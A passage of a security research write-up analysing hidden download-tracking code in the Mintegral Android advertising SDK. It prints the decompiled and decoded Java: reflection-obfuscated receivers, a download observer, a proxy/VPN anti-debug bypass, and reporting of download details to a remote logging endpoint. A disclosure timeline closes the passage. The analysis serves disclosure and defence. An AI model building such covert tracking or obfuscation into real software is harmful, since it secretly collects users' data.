4      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
5      Object newInstance = cls2.newInstance();
6      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
7      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
8      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
9      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
10      } catch (Throwable th) {
11            th.printStackTrace();
12      }

by replacing this with the decoded strings, the code becomes:

1AlphabReceiver alphab_receiver = new AlphabReceiver();
2Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
3Class intent_filter_cls = Class.forName("android.content.IntentFilter");
4Object intent_inst = intent_filter_cls.newInstance();
5Method method = IntentFilter.class.getMethod("addAction", String.class);
6method.invoke(intent_inst, "alphab_net_debug_action");
7method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
8Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
9.invoke(context, alphab_receiver, intent_inst);

We can see that with use of the Java Reflection API, a new broadcast receiver is created that listens for two types of intents:

  • android.intent.action.PACKAGE_ADDED - a system wide intent that triggers when a package is being installed on the device.

  • alphab_net_debug_action - a custom intent that appears to detect network debugging.

Upon receiving the intent, the AlphabReceiver class constructs a ParseAndLoad() method:

1public final class ParseAndLoad {
2
3    /* renamed from: a */    private Intent f89a;
4
5    public ParseAndLoad(Intent intent) {
6        this.f89a = intent;
7        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
8            AlphaCommonConst.is_net_debug = true;
9        }
10    }
11}

This field is later on used in a condition:

1public final void mo40a() {
2   boolean z = true;
3   try {
4        AlphabImpl.m61c(AlphabImpl.this);
5        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).c();
6                if (com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c)) {
7                    g.b(AlphabImpl.f62a, "did in database " + this.f82c);
8                } else if (AlphabImpl.this.f64b != null) {
9                    Context a = AlphabImpl.this.f64b;
10                    if (!AlphaCommonConst.is_net_debug && (NetUtils.is_proxy_enabled(a) || NetUtils.is_vpn_enabled())) {
11                        z = false;
12                    }
13                    if (z) {
14                        g.b(AlphabImpl.f62a, "insert did" + this.f82c);
15                        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c, this.f81b);
16                        AlphabImpl.m56a(AlphabImpl.this, this.f82c);
17                    }
18                }
19            } catch (Exception e) {
20                if (MIntegralConstans.DEBUG) {
21                    e.printStackTrace();
22                }
23            }
24        }

Decompiling the two other methods in that if clause reveals that they check if the current network connection passes through a wifi proxy or a vpn client. These are meant to prevent debugging the app and sniffing its traffic. This intent allows the developers of the SDK to bypass this anti-debug functionality.

Alphab observer

In a similar fashion, this ContentObserver’s initialization block is also hidden within reflection and obfuscated strings:

1C0014a aVar = new C0014a(this.f70i);
2Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
3Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
4                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

After cleanup we get the following:

1AlpahbObserver observer = new AlpahbObserver(handler);
2Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
3Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
4Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
5Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
6.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

This means that the content observer is registered to listen to the content://downloads uri and triggers whenever a file is downloaded to the device.

It will query the Android download manager for public downloads:

1cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

and upon decoding the string we’ll get the following:

1cursor = aVar.f64b.getContentResolver()
2.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

If the download URL meets any of the following conditions, a report to https://n.systemlog.met/stlog will be generated:

  1. Ends with apk - for manual downloads.

  2. Refers to a package that belongs to com.android.vending or the url contains google.com - will catch any Google app or even browser url matching the condition.

Below is the code snippet that sends the request to the https://n.systemlog.met/stlog server.

1else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
2                g.a("AlphabReqImpl", "setting  is request");
3                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
4            }

which equals to:

1else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
2                g.a("AlphabReqImpl", "setting  is request");
3                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

"And here we can see the parameters that we saw in the captured request in our example:

1static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
2        try {
3            if (TextUtils.isEmpty(str2)) {
4                str2 = "";
5            }
6            if (TextUtils.isEmpty(str)) {
7                str = "";
8            }
9            JSONArray jSONArray = new JSONArray();
10            JSONObject jSONObject = new JSONObject();
11            if (jSONObject != null) {
12                try {
13                    jSONObject.put("p", str);
14                    jSONObject.put("v", str2);
15                    JSONArray jSONArray2 = new JSONArray();
16                    if (list != null && list.size() >= 0) {
17                        for (int i = 0; i < list.size(); i++) {
18                            jSONArray2.put(list.get(i));
19                        }
20                    }
21                    jSONObject.put("ul", jSONArray2);
22                    jSONObject.put("kw", str3);
23                    jSONObject.put("fl", str4);
24                } catch (Throwable th) {
25                    if (MIntegralConstans.DEBUG) {
26                        th.printStackTrace();
27                    }
28                }
29            }
30            jSONArray.put(jSONObject);
31            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
32            dVar.f40i = new c();
33            if (!(dVar.f40i == null || dVar.f20a == null)) {
34                dVar.f40i.a("clever", b);
35            }
36            dVar.mo10a(dVar.f40i);
  • p - downloading package name i.e. the app

  • v - app version

  • ul - downloaded file’s url

  • kw - downloaded filename

  • fl - file size

Demo app

wordpress-sync/5-1

In order to demonstrate the behavior, we created a demo app that allowed us to:

1. Enable net debug flag with reflection to bypass anti-debug logic

1buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
2   @Override
3   public void onClick(View v) {
4       try {
5           Class AlphaCommonConst = Class.forName("com.alphab.a");
6           AlphaCommonConst.getDeclaredField("d").set(null, true);
7       } catch (Exception e) {
8           e.printStackTrace();
9       }
10   }
11});

2. Download a file from a url that contains google.com

1buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
2   @Override
3   public void onClick(View v) {
4       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
5       DownloadManager.Request request = new DownloadManager.Request(uri);
6       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
7       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
8       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
9       manager.enqueue(request);
10   }
11});

3. Download a file from a url that ends with apk

1buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
2   @Override
3   public void onClick(View v) {
4       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
5       DownloadManager.Request request = new DownloadManager.Request(uri);
6       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
7       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
8       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
9       manager.enqueue(request);
10   }
11});

"We captured the outbound requests with an http proxy. After clicking one of the download buttons, we can see a request being made to the server’s endpoint:

wordpress-sync/6-1

Here’s a video demonstrating the tracking behavior:

Timeline

Date

Research Event

Aug 5

Snyk research team identifies that Mintegral iOS SDK performs excessive data collection and click hijacking

Aug 17

Snyk responsibly discloses the findings to Apple

Aug 24

Snyk publishes Sour Mint iOS findings

Aug 25

Mintegral releases statement denying SDK allegations

Sept 3

IronSource announced the removal of Mintegral from their mediation platform

Sept 3

Mintegral releases version 6.5.0.0 of iOS SDK, removing the malicious and hidden _CXX_CXX_OperationPKTask component

Sept 4

MoPub (Twitter) Mediation Platform announced the decertification of Mintegral from their platform

Sept 4

Mintegral announced their plans to open source their SDK

Sept 4

Snyk research team identified hidden downloads tracking functionality in Android version of the SDK

Sept 9

Snyk responsibly discloses the Android SDK findings to Google

Sept 10

Mintegral releases version 6.6.0.0 of the iOS SDK, removing MTGRemoteCommandParser backdoor component

Sept 22

Snyk get’s the source code version 6.6.0.0 of the iOS SDK and performs diff analysis

Sept 23

Snyk identifies that Mintegral has removed the Google download tracking module from its Android SDK

Sept 30

Through diff analysis Snyk identifies a backdoor in iOS version of the SDK allowing for RCE

Oct 2

Snyk responsibly discloses new iOS findings to Apple

Oct 3

Apple notifies affected publishers asking to remove the code allowing for RCE

Oct 15

Snyk publishes latest iOS and Android findings